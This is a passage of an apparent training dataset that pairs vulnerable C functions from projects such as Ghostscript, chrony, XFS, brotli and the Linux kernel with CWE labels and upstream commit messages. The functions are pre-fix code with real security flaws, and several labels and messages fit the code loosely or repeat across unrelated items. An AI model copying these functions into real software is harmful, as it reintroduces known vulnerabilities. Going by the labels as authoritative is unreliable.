TIFFWriteDirectory(tfdev->tiff[comp_num]);\n if (fmt) {\n int sep_num = tfdev->devn_params.separation_order_map[comp_num];\n\n code = create_separation_file_name(tfdev, name, gp_file_name_sizeof, sep_num, false);\n if (code < 0) {\n code1 = code;\n continue;\n }\n code = tiffsep_close_sep_file(tfdev, name, comp_num);\n if (code >= 0)\n code = gs_remove_outputfile_control_path(tfdev->memory, name);\n if (code < 0) {\n code1 = code;\n }\n }\n }\n }\n TIFFWriteDirectory(tfdev->tiff_comp);\n if (fmt) {\n code = tiffsep_close_comp_file(tfdev, pdev->fname);\n }\n if (code1 < 0) {\n code = code1;\n }\n }\n\ndone:\n if (name)\n gs_free_object(pdev->memory, name, \"tiffsep_print_page(name)\");\n return code;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'Tiffsep and Tiffsep1 - abort on multi-page input wtithout %d OutputFile\n\nBug #701821 \"Segmentation fault at tiff//libtiff/tif_dirinfo.c:513 in TIFFFindField\"\n\nThe tiffsep and tiffsep1 only set 'code' to an error when an attempt is\nmade to write a second output file without using %d in the OutputFile\nspecification.\n\nThis causes problems later when attempting to process the files. The\ndevices should exit without trying to further process the pages under\nthese conditions and this commit returns immediately on error.\n\nThe other devices like this already return immediately on error, it\nlooks like the code here was copied between devices without realising\nthat the tiffsep and tiffsep1 devices didn't exit when the error\ncondition was set.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: epsc_print_page(gx_device_printer * pdev, gp_file * prn_stream)\n{\n static int graphics_modes_9[5] = { -1, 0 /*60 */ , 1 /*120 */ , -1, DD + 3 /*240 */\n };\n static int graphics_modes_24[7] =\n { -1, 32 /*60 */ , 33 /*120 */ , 39 /*180 */ ,\n -1, -1, DD + 40 /*360 */\n };\n int y_24pin = pdev->y_pixels_per_inch > 72;\n int y_mult = (y_24pin ? 3 : 1);\n int line_size = (pdev->width + 7) >> 3; /* always mono */\n int in_size = line_size * (8 * y_mult);\n byte *in =\n (byte *) gs_malloc(pdev->memory, in_size + 1, 1,\n \"epsc_print_page(in)\");\n int out_size = ((pdev->width + 7) & -8) * y_mult;\n byte *out =\n (byte *) gs_malloc(pdev->memory, out_size + 1, 1,\n \"epsc_print_page(out)\");\n int x_dpi = (int)pdev->x_pixels_per_inch;\n char start_graphics = (char)\n ((y_24pin ? graphics_modes_24 : graphics_modes_9)[x_dpi / 60]);\n int first_pass = (start_graphics & DD ? 1 : 0);\n int last_pass = first_pass * 2;\n int dots_per_space = x_dpi / 10; /* pica space = 1/10\" */\n int bytes_per_space = dots_per_space * y_mult;\n int skip = 0, lnum = 0, pass;\n\n/* declare color buffer and related vars */\n byte *color_in;\n int color_line_size, color_in_size;\n int spare_bits = (pdev->width % 8); /* left over bits to go to margin */\n int whole_bits = pdev->width - spare_bits;\n\n /* Check allocations */\n if (in == 0 || out == 0) {\n if (in)\n gs_free(pdev->memory, (char *)in, in_size + 1, 1,\n \"epsc_print_page(in)\");\n if (out)\n gs_free(pdev->memory, (char *)out, out_size + 1, 1,\n \"epsc_print_page(out)\");\n return -1;\n }\n\n /* Initialize the printer and reset the margins. */\n gp_fwrite(\"\\033@\\033P\\033l\\000\\033Q\\377\\033U\\001\\r\", 1, 14, prn_stream);\n\n /* Create color buffer */\n if (gx_device_has_color(pdev)) {\n color_line_size = gdev_mem_bytes_per_scan_line((gx_device *) pdev);\n color_in_size = color_line_size * (8 * y_mult);\n if ((color_in = (byte *) gs_malloc(pdev->memory, color_in_size + 1, 1,\n \"epsc_print_page(color)\")) == 0) {\n gs_free(pdev->memory, (char *)in, in_size + 1, 1,\n \"epsc_print_page(in)\");\n gs_free(pdev->memory, (char *)out, out_size + 1, 1,\n \"epsc_print_page(out)\");\n return (-1);\n }\n } else {\n color_in = in;\n color_in_size = in_size;\n color_line_size = line_size;\n }\n\n /* Print lines of graphics */\n while (lnum < pdev->height) {\n int lcnt;\n byte *nextcolor = NULL; /* position where next color appears */\n byte *nextmono = NULL; /* position to map next color */\n\n /* Copy 1 scan line and test for all zero. */\n gdev_prn_copy_scan_lines(pdev, lnum, color_in, color_line_size);\n\n if (color_in[0] == 0 &&\n !memcmp((char *)color_in, (char *)color_in + 1,\n color_line_size - 1)\n ) {\n lnum++;\n skip += 3 / y_mult;\n continue;\n }\n\n /* Vertical tab to the appropriate position. */\n while (skip > 255) {\n gp_fputs(\"\\033J\\377\", prn_stream);\n skip -= 255;\n }\n if (skip)\n gp_fprintf(prn_stream, \"\\033J%c\", skip);\n\n /* Copy the rest of the scan lines. */\n lcnt = 1 + gdev_prn_copy_scan_lines(pdev, lnum + 1,\n color_in + color_line_size,\n color_in_size - color_line_size);\n\n if (lcnt < 8 * y_mult) {\n memset((char *)(color_in + lcnt * color_line_size), 0,\n color_in_size - lcnt * color_line_size);\n if (gx_device_has_color(pdev)) /* clear the work buffer */\n memset((char *)(in + lcnt * line_size), 0,\n in_size - lcnt * line_size);\n }\n\n /*\n ** We need to create a normal epson scan line from our color scan line\n ** We do this by setting a bit in the \"in\" buffer if the pixel byte is set\n ** to any color. We then search for any more pixels of that color, setting\n ** \"in\" accordingly. If any other color is found, we save it for the next\n ** pass. There may be up to 7 passes.\n ** In the future, we should make the passes so as to maximize the\n ** life of the color ribbon (i.e. go lightest to darkest).\n */\n do {\n byte *inp = in;\n byte *in_end = in + line_size;\n byte *out_end = out;\n byte *out_blk;\n register byte *outp;\n\n if (gx_device_has_color(pdev)) {\n register int i, j;\n register byte *outbuf, *realbuf;\n byte current_color;\n int end_next_bits = whole_bits;\n int lastbits;\n\n /* Move to the point in the scanline that has a new color */\n if (nextcolor) {\n realbuf = nextcolor;\n outbuf = nextmono;\n memset((char *)in, 0, (nextmono - in));\n i = nextcolor - color_in;\n nextcolor = NULL;\n end_next_bits = (i / color_line_size) * color_line_size\n + whole_bits;\n } else {\n i = 0;\n realbuf = color_in;\n outbuf = in;\n nextcolor = NULL;\n }\n /* move thru the color buffer, turning on the appropriate\n ** bit in the \"mono\" buffer\", setting pointers to the next\n ** color and changing the color output of the epson\n */\n for (current_color = 0; i <= color_in_size && outbuf < in + in_size; outbuf++) {\n /* Remember, line_size is rounded up to next whole byte\n ** whereas color_line_size is the proper length\n ** We only want to set the proper bits in the last line_size byte.\n */\n if (spare_bits && i == end_next_bits) {\n end_next_bits = whole_bits + i + spare_bits;\n lastbits = 8 - spare_bits;\n } else\n lastbits = 0;\n\n for (*outbuf = 0, j = 8;\n --j >= lastbits && i <= color_in_size;\n realbuf++, i++) {\n if (*realbuf) {\n if (current_color > 0) {\n if (*realbuf == current_color) {\n *outbuf |= 1 << j;\n *realbuf = 0; /* throw this byte away */\n }\n /* save this location for next pass */\n else if (nextcolor == NULL) {\n nextcolor = realbuf - (7 - j);\n nextmono = outbuf;\n }\n } else {\n *outbuf |= 1 << j;\n current_color = *realbuf; /* set color */\n *realbuf = 0;\n }\n }\n }\n }\n *outbuf = 0; /* zero the end, for safe keeping */\n /* Change color on the EPSON, current_color must be set\n ** but lets check anyway\n */\n if (current_color)\n gp_fprintf(prn_stream, \"\\033r%c\", current_color ^ 7);\n }\n\n /* We have to 'transpose' blocks of 8 pixels x 8 lines, */\n /* because that's how the printer wants the data. */\n /* If we are in a 24-pin mode, we have to transpose */\n /* groups of 3 lines at a time. */\n\n if (y_24pin) {\n for (; inp < in_end; inp++, out_end += 24) {\n gdev_prn_transpose_8x8(inp, line_size, out_end, 3);\n gdev_prn_transpose_8x8(inp + line_size * 8, line_size,\n out_end + 1, 3);\n gdev_prn_transpose_8x8(inp + line_size * 16, line_size,\n out_end + 2, 3);\n }\n /* Remove trailing 0s. */\n while (out_end > out && out_end[-1] == 0 &&\n out_end[-2] == 0 && out_end[-3] == 0)\n out_end -= 3;\n } else {\n for (; inp < in_end; inp++, out_end += 8) {\n gdev_prn_transpose_8x8(inp, line_size, out_end, 1);\n }\n /* Remove trailing 0s. */\n while (out_end > out && out_end[-1] == 0)\n out_end--;\n }\n\n for (pass = first_pass; pass <= last_pass; pass++) {\n for (out_blk = outp = out; outp < out_end;) { /* Skip a run of leading 0s. */\n /* At least 10 are needed to make tabbing worth it. */\n /* We do everything by 3's to avoid having to make */\n /* different cases for 9- and 24-pin. */\n\n if (*outp == 0 && outp + 12 <= out_end &&\n outp[1] == 0 && outp[2] == 0 &&\n (outp[3] | outp[4] | outp[5]) == 0 &&\n (outp[6] | outp[7] | outp[8]) == 0 &&\n (outp[9] | outp[10] | outp[11]) == 0) {\n byte *zp = outp;\n int tpos;\n byte *newp;\n\n outp += 12;\n while (outp + 3 <= out_end && *outp == 0 &&\n outp[1] == 0 && outp[2] == 0)\n outp += 3;\n tpos = (outp - out) / bytes_per_space;\n newp = out + tpos * bytes_per_space;\n if (newp > zp + 10) { /* Output preceding bit data. */\n if (zp > out_blk)\n /* only false at */\n /* beginning of line */\n epsc_output_run(out_blk, (int)(zp - out_blk),\n y_mult, start_graphics,\n prn_stream, pass);\n /* Tab over to the appropriate position. */\n gp_fprintf(prn_stream, \"\\033D%c%c\\t\", tpos, 0);\n out_blk = outp = newp;\n }\n } else\n outp += y_mult;\n }\n if (outp > out_blk)\n epsc_output_run(out_blk, (int)(outp - out_blk),\n y_mult, start_graphics, prn_stream, pass);\n\n gp_fputc('\\r', prn_stream);\n }\n } while (nextcolor);\n skip = 24;\n lnum += 8 * y_mult;\n }\n\n /* Eject the page and reinitialize the printer */\n gp_fputs(\"\\f\\033@\", prn_stream);\n\n gs_free(pdev->memory, (char *)out, out_size + 1, 1,\n \"epsc_print_page(out)\");\n gs_free(pdev->memory, (char *)in, in_size + 1, 1, \"epsc_print_page(in)\");\n if (gx_device_has_color(pdev))\n gs_free(pdev->memory, (char *)color_in, color_in_size + 1, 1,\n \"epsc_print_page(rin)\");\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-120'], 'message': 'Bug 701794: check for x_dpi out of range in epsc_print_page().\n\nAvoids out-of-bounds of local arrays graphics_modes_9 and graphics_modes_24.\n\nLarger diff than would like, because can't return error from within\ndeclarations in old-style C.\n\nFixes:\n ./sanbin/gs -r680 -sOutputFile=tmp -sDEVICE=epsonc ../bug-701794.pdf'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: SRC_DumpSources(void)\n{\n FILE *out;\n int i;\n\n for (i = 0; i < n_sources; i++) {\n out = open_dumpfile(sources[i], \"w\");\n if (!out)\n continue;\n SST_SaveToFile(sources[i]->stats, out);\n fclose(out);\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-59'], 'message': 'switch to new util file functions\n\nReplace all fopen(), rename(), and unlink() calls with the new util\nfunctions.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: read_hwclock_file(const char *hwclock_file)\n{\n FILE *in;\n char line[256];\n int i;\n\n if (!hwclock_file || !hwclock_file[0])\n return;\n\n in = fopen(hwclock_file, \"r\");\n if (!in) {\n LOG(LOGS_WARN, \"Could not open %s : %s\",\n hwclock_file, strerror(errno));\n return;\n }\n\n /* Read third line from the file. */\n for (i = 0; i < 3; i++) {\n if (!fgets(line, sizeof(line), in))\n break;\n }\n\n fclose(in);\n\n if (i == 3 && !strncmp(line, \"LOCAL\", 5)) {\n rtc_on_utc = 0;\n } else if (i == 3 && !strncmp(line, \"UTC\", 3)) {\n rtc_on_utc = 1;\n } else {\n LOG(LOGS_WARN, \"Could not read RTC LOCAL/UTC setting from %s\", hwclock_file);\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-59'], 'message': 'switch to new util file functions\n\nReplace all fopen(), rename(), and unlink() calls with the new util\nfunctions.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: bind_unix_address(int sock_fd, const char *addr, int flags)\n{\n union sockaddr_all saddr;\n\n if (snprintf(saddr.un.sun_path, sizeof (saddr.un.sun_path), \"%s\", addr) >=\n sizeof (saddr.un.sun_path)) {\n DEBUG_LOG(\"Unix socket path %s too long\", addr);\n return 0;\n }\n saddr.un.sun_family = AF_UNIX;\n\n unlink(addr);\n\n /* PRV_BindSocket() doesn't support Unix sockets yet */\n if (bind(sock_fd, &saddr.sa, sizeof (saddr.un)) < 0) {\n DEBUG_LOG(\"Could not bind Unix socket to %s : %s\", addr, strerror(errno));\n return 0;\n }\n\n /* Allow access to everyone with access to the directory if requested */\n if (flags & SCK_FLAG_ALL_PERMISSIONS && chmod(addr, 0666) < 0) {\n DEBUG_LOG(\"Could not change permissions of %s : %s\", addr, strerror(errno));\n return 0;\n }\n\n return 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-59'], 'message': 'switch to new util file functions\n\nReplace all fopen(), rename(), and unlink() calls with the new util\nfunctions.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: xfs_attr_shortform_verify(\n\tstruct xfs_inode\t\t*ip)\n{\n\tstruct xfs_attr_shortform\t*sfp;\n\tstruct xfs_attr_sf_entry\t*sfep;\n\tstruct xfs_attr_sf_entry\t*next_sfep;\n\tchar\t\t\t\t*endp;\n\tstruct xfs_ifork\t\t*ifp;\n\tint\t\t\t\ti;\n\tint64_t\t\t\t\tsize;\n\n\tASSERT(ip->i_afp->if_format == XFS_DINODE_FMT_LOCAL);\n\tifp = XFS_IFORK_PTR(ip, XFS_ATTR_FORK);\n\tsfp = (struct xfs_attr_shortform *)ifp->if_u1.if_data;\n\tsize = ifp->if_bytes;\n\n\t/*\n\t * Give up if the attribute is way too short.\n\t */\n\tif (size < sizeof(struct xfs_attr_sf_hdr))\n\t\treturn __this_address;\n\n\tendp = (char *)sfp + size;\n\n\t/* Check all reported entries */\n\tsfep = &sfp->list[0];\n\tfor (i = 0; i < sfp->hdr.count; i++) {\n\t\t/*\n\t\t * struct xfs_attr_sf_entry has a variable length.\n\t\t * Check the fixed-offset parts of the structure are\n\t\t * within the data buffer.\n\t\t */\n\t\tif (((char *)sfep + sizeof(*sfep)) >= endp)\n\t\t\treturn __this_address;\n\n\t\t/* Don't allow names with known bad length. */\n\t\tif (sfep->namelen == 0)\n\t\t\treturn __this_address;\n\n\t\t/*\n\t\t * Check that the variable-length part of the structure is\n\t\t * within the data buffer. The next entry starts after the\n\t\t * name component, so nextentry is an acceptable test.\n\t\t */\n\t\tnext_sfep = XFS_ATTR_SF_NEXTENTRY(sfep);\n\t\tif ((char *)next_sfep > endp)\n\t\t\treturn __this_address;\n\n\t\t/*\n\t\t * Check for unknown flags. Short form doesn't support\n\t\t * the incomplete or local bits, so we can use the namespace\n\t\t * mask here.\n\t\t */\n\t\tif (sfep->flags & ~XFS_ATTR_NSP_ONDISK_MASK)\n\t\t\treturn __this_address;\n\n\t\t/*\n\t\t * Check for invalid namespace combinations. We only allow\n\t\t * one namespace flag per xattr, so we can just count the\n\t\t * bits (i.e. hweight) here.\n\t\t */\n\t\tif (hweight8(sfep->flags & XFS_ATTR_NSP_ONDISK_MASK) > 1)\n\t\t\treturn __this_address;\n\n\t\tsfep = next_sfep;\n\t}\n\tif ((void *)sfep != (void *)endp)\n\t\treturn __this_address;\n\n\treturn NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-131'], 'message': 'xfs: fix boundary test in xfs_attr_shortform_verify\n\nThe boundary test for the fixed-offset parts of xfs_attr_sf_entry in\nxfs_attr_shortform_verify is off by one, because the variable array\nat the end is defined as nameval[1] not nameval[].\nHence we need to subtract 1 from the calculation.\n\nThis can be shown by:\n\n# touch file\n# setfattr -n root.a file\n\nand verifications will fail when it's written to disk.\n\nThis only matters for a last attribute which has a single-byte name\nand no value, otherwise the combination of namelen & valuelen will\npush endp further out and this test won't fail.\n\nFixes: 1e1bbd8e7ee06 (\"xfs: create structure verifier function for shortform xattrs\")\nSigned-off-by: Eric Sandeen \nReviewed-by: Darrick J. Wong \nSigned-off-by: Darrick J. Wong \nReviewed-by: Christoph Hellwig '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static BROTLI_INLINE uint32_t GetCopyBase(uint16_t copycode) {\n return kCopyBase[copycode];\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-120'], 'message': 'Update (#826)\n\n * IMPORTANT: decoder: fix potential overflow when input chunk is >2GiB\r\n * simplify max Huffman table size calculation\r\n * eliminate symbol duplicates (static arrays in .h files)\r\n * minor combing in research/ code'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static BROTLI_INLINE uint32_t BitMask(uint32_t n) {\n if (BROTLI_IS_CONSTANT(n) || BROTLI_HAS_UBFX) {\n /* Masking with this expression turns to a single\n \"Unsigned Bit Field Extract\" UBFX instruction on ARM. */\n return ~((0xFFFFFFFFu) << n);\n } else {\n return kBitMask[n];\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-120'], 'message': 'Update (#826)\n\n * IMPORTANT: decoder: fix potential overflow when input chunk is >2GiB\r\n * simplify max Huffman table size calculation\r\n * eliminate symbol duplicates (static arrays in .h files)\r\n * minor combing in research/ code'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void vgacon_scrollback_init(int vc_num)\n{\n\tint pitch = vga_video_num_columns * 2;\n\tsize_t size = CONFIG_VGACON_SOFT_SCROLLBACK_SIZE * 1024;\n\tint rows = size / pitch;\n\tvoid *data;\n\n\tdata = kmalloc_array(CONFIG_VGACON_SOFT_SCROLLBACK_SIZE, 1024,\n\t\t\t GFP_NOWAIT);\n\n\tvgacon_scrollbacks[vc_num].data = data;\n\tvgacon_scrollback_cur = &vgacon_scrollbacks[vc_num];\n\n\tvgacon_scrollback_cur->rows = rows - 1;\n\tvgacon_scrollback_cur->size = rows * pitch;\n\n\tvgacon_scrollback_reset(vc_num, size);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'vgacon: remove software scrollback support\n\nYunhai Zhang recently fixed a VGA software scrollback bug in commit\nebfdfeeae8c0 (\"vgacon: Fix for missing check in scrollback handling\"),\nbut that then made people look more closely at some of this code, and\nthere were more problems on the vgacon side, but also the fbcon software\nscrollback.\n\nWe don't really have anybody who maintains this code - probably because\nnobody actually _uses_ it any more. Sure, people still use both VGA and\nthe framebuffer consoles, but they are no longer the main user\ninterfaces to the kernel, and haven't been for decades, so these kinds\nof extra features end up bitrotting and not really being used.\n\nSo rather than try to maintain a likely unused set of code, I'll just\naggressively remove it, and see if anybody even notices. Maybe there\nare people who haven't jumped on the whole GUI badnwagon yet, and think\nit's just a fad. And maybe those people use the scrollback code.\n\nIf that turns out to be the case, we can resurrect this again, once\nwe've found the sucker^Wmaintainer for it who actually uses it.\n\nReported-by: NopNop Nop \nTested-by: Willy Tarreau \nCc: \u5f20\u4e91\u6d77 \nAcked-by: Andy Lutomirski \nAcked-by: Willy Tarreau \nReviewed-by: Greg Kroah-Hartman \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int hugetlb_sysctl_handler_common(bool obey_mempolicy,\n\t\t\t struct ctl_table *table, int write,\n\t\t\t void *buffer, size_t *length, loff_t *ppos)\n{\n\tstruct hstate *h = &default_hstate;\n\tunsigned long tmp = h->max_huge_pages;\n\tint ret;\n\n\tif (!hugepages_supported())\n\t\treturn -EOPNOTSUPP;\n\n\ttable->data = &tmp;\n\ttable->maxlen = sizeof(unsigned long);\n\tret = proc_doulongvec_minmax(table, write, buffer, length, ppos);\n\tif (ret)\n\t\tgoto out;\n\n\tif (write)\n\t\tret = __nr_hugepages_store_common(obey_mempolicy, h,\n\t\t\t\t\t\t NUMA_NO_NODE, tmp, *length);\nout:\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362'], 'message': 'mm/hugetlb: fix a race between hugetlb sysctl handlers\n\nThere is a race between the assignment of `table->data` and write value\nto the pointer of `table->data` in the __do_proc_doulongvec_minmax() on\nthe other thread.\n\n CPU0: CPU1:\n proc_sys_write\n hugetlb_sysctl_handler proc_sys_call_handler\n hugetlb_sysctl_handler_common hugetlb_sysctl_handler\n table->data = &tmp; hugetlb_sysctl_handler_common\n table->data = &tmp;\n proc_doulongvec_minmax\n do_proc_doulongvec_minmax sysctl_head_finish\n __do_proc_doulongvec_minmax unuse_table\n i = table->data;\n *i = val; // corrupt CPU1's stack\n\nFix this by duplicating the `table`, and only update the duplicate of\nit. And introduce a helper of proc_hugetlb_doulongvec_minmax() to\nsimplify the code.\n\nThe following oops was seen:\n\n BUG: kernel NULL pointer dereference, address: 0000000000000000\n #PF: supervisor instruction fetch in kernel mode\n #PF: error_code(0x0010) - not-present page\n Code: Bad RIP value.\n ...\n Call Trace:\n ? set_max_huge_pages+0x3da/0x4f0\n ? alloc_pool_huge_page+0x150/0x150\n ? proc_doulongvec_minmax+0x46/0x60\n ? hugetlb_sysctl_handler_common+0x1c7/0x200\n ? nr_hugepages_store+0x20/0x20\n ? copy_fd_bitmaps+0x170/0x170\n ? hugetlb_sysctl_handler+0x1e/0x20\n ? proc_sys_call_handler+0x2f1/0x300\n ? unregister_sysctl_table+0xb0/0xb0\n ? __fd_install+0x78/0x100\n ? proc_sys_write+0x14/0x20\n ? __vfs_write+0x4d/0x90\n ? vfs_write+0xef/0x240\n ? ksys_write+0xc0/0x160\n ? __ia32_sys_read+0x50/0x50\n ? __close_fd+0x129/0x150\n ? __x64_sys_write+0x43/0x50\n ? do_syscall_64+0x6c/0x200\n ? entry_SYSCALL_64_after_hwframe+0x44/0xa9\n\nFixes: e5ff215941d5 (\"hugetlb: multiple hstates for multiple page sizes\")\nSigned-off-by: Muchun Song \nSigned-off-by: Andrew Morton \nReviewed-by: Mike Kravetz \nCc: Andi Kleen \nLink: http://lkml.kernel.org/r/20200828031146.43035-1-songmuchun@bytedance.com\nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: concat_opt_exact_str(OptStr* to, UChar* s, UChar* end, OnigEncoding enc)\n{\n int i, j, len;\n UChar *p;\n\n for (i = to->len, p = s; p < end && i < OPT_EXACT_MAXLEN; ) {\n len = enclen(enc, p);\n if (i + len > OPT_EXACT_MAXLEN) break;\n for (j = 0; j < len && p < end; j++)\n to->s[i++] = *p++;\n }\n\n to->len = i;\n\n if (p >= end)\n to->reach_end = 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': '#207: Out-of-bounds write'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void do_client_file_xfer(VirtioPort *vport,\n VDAgentMessage *message_header,\n uint8_t *data)\n{\n uint32_t msg_type, id;\n UdscsConnection *conn;\n\n switch (message_header->type) {\n case VD_AGENT_FILE_XFER_START: {\n VDAgentFileXferStartMessage *s = (VDAgentFileXferStartMessage *)data;\n if (!active_session_conn) {\n send_file_xfer_status(vport,\n \"Could not find an agent connection belonging to the \"\n \"active session, cancelling client file-xfer request %u\",\n s->id, VD_AGENT_FILE_XFER_STATUS_VDAGENT_NOT_CONNECTED, NULL, 0);\n return;\n } else if (session_info_session_is_locked(session_info)) {\n syslog(LOG_DEBUG, \"Session is locked, skipping file-xfer-start\");\n send_file_xfer_status(vport,\n \"User's session is locked and cannot start file transfer. \"\n \"Cancelling client file-xfer request %u\",\n s->id, VD_AGENT_FILE_XFER_STATUS_SESSION_LOCKED, NULL, 0);\n return;\n } else if (g_hash_table_size(active_xfers) >= MAX_ACTIVE_TRANSFERS) {\n VDAgentFileXferStatusError error = {\n GUINT32_TO_LE(VD_AGENT_FILE_XFER_STATUS_ERROR_GLIB_IO),\n GUINT32_TO_LE(G_IO_ERROR_TOO_MANY_OPEN_FILES),\n };\n size_t detail_size = sizeof(error);\n if (!VD_AGENT_HAS_CAPABILITY(capabilities, capabilities_size,\n VD_AGENT_CAP_FILE_XFER_DETAILED_ERRORS)) {\n detail_size = 0;\n }\n send_file_xfer_status(vport,\n \"Too many transfers ongoing. \"\n \"Cancelling client file-xfer request %u\",\n s->id, VD_AGENT_FILE_XFER_STATUS_ERROR, (void*) &error, detail_size);\n return;\n }\n msg_type = VDAGENTD_FILE_XFER_START;\n id = s->id;\n // associate the id with the active connection\n g_hash_table_insert(active_xfers, GUINT_TO_POINTER(id), active_session_conn);\n break;\n }\n case VD_AGENT_FILE_XFER_STATUS: {\n VDAgentFileXferStatusMessage *s = (VDAgentFileXferStatusMessage *)data;\n msg_type = VDAGENTD_FILE_XFER_STATUS;\n id = s->id;\n break;\n }\n case VD_AGENT_FILE_XFER_DATA: {\n VDAgentFileXferDataMessage *d = (VDAgentFileXferDataMessage *)data;\n msg_type = VDAGENTD_FILE_XFER_DATA;\n id = d->id;\n break;\n }\n default:\n g_return_if_reached(); /* quiet uninitialized variable warning */\n }\n\n conn = g_hash_table_lookup(active_xfers, GUINT_TO_POINTER(id));\n if (!conn) {\n if (debug)\n syslog(LOG_DEBUG, \"Could not find file-xfer %u (cancelled?)\", id);\n return;\n }\n udscs_write(conn, msg_type, 0, 0, data, message_header->size);\n\n // client told that transfer is ended, agents too stop the transfer\n // and release resources\n if (message_header->type == VD_AGENT_FILE_XFER_STATUS) {\n g_hash_table_remove(active_xfers, GUINT_TO_POINTER(id));\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'vdagentd: do not allow to use an already used file-xfer id\n\nSigned-off-by: Uri Lublin \nAcked-by: Frediano Ziglio '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void scalar32_min_max_or(struct bpf_reg_state *dst_reg,\n\t\t\t\tstruct bpf_reg_state *src_reg)\n{\n\tbool src_known = tnum_subreg_is_const(src_reg->var_off);\n\tbool dst_known = tnum_subreg_is_const(dst_reg->var_off);\n\tstruct tnum var32_off = tnum_subreg(dst_reg->var_off);\n\ts32 smin_val = src_reg->smin_value;\n\tu32 umin_val = src_reg->umin_value;\n\n\t/* Assuming scalar64_min_max_or will be called so it is safe\n\t * to skip updating register for known case.\n\t */\n\tif (src_known && dst_known)\n\t\treturn;\n\n\t/* We get our maximum from the var_off, and our minimum is the\n\t * maximum of the operands' minima\n\t */\n\tdst_reg->u32_min_value = max(dst_reg->u32_min_value, umin_val);\n\tdst_reg->u32_max_value = var32_off.value | var32_off.mask;\n\tif (dst_reg->s32_min_value < 0 || smin_val < 0) {\n\t\t/* Lose signed bounds when ORing negative numbers,\n\t\t * ain't nobody got time for that.\n\t\t */\n\t\tdst_reg->s32_min_value = S32_MIN;\n\t\tdst_reg->s32_max_value = S32_MAX;\n\t} else {\n\t\t/* ORing two positives gives a positive, so safe to\n\t\t * cast result into s64.\n\t\t */\n\t\tdst_reg->s32_min_value = dst_reg->umin_value;\n\t\tdst_reg->s32_max_value = dst_reg->umax_value;\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119', 'CWE-681', 'CWE-787'], 'message': 'bpf: Fix scalar32_min_max_or bounds tracking\n\nSimon reported an issue with the current scalar32_min_max_or() implementation.\nThat is, compared to the other 32 bit subreg tracking functions, the code in\nscalar32_min_max_or() stands out that it's using the 64 bit registers instead\nof 32 bit ones. This leads to bounds tracking issues, for example:\n\n [...]\n 8: R0=map_value(id=0,off=0,ks=4,vs=48,imm=0) R10=fp0 fp-8=mmmmmmmm\n 8: (79) r1 = *(u64 *)(r0 +0)\n R0=map_value(id=0,off=0,ks=4,vs=48,imm=0) R10=fp0 fp-8=mmmmmmmm\n 9: R0=map_value(id=0,off=0,ks=4,vs=48,imm=0) 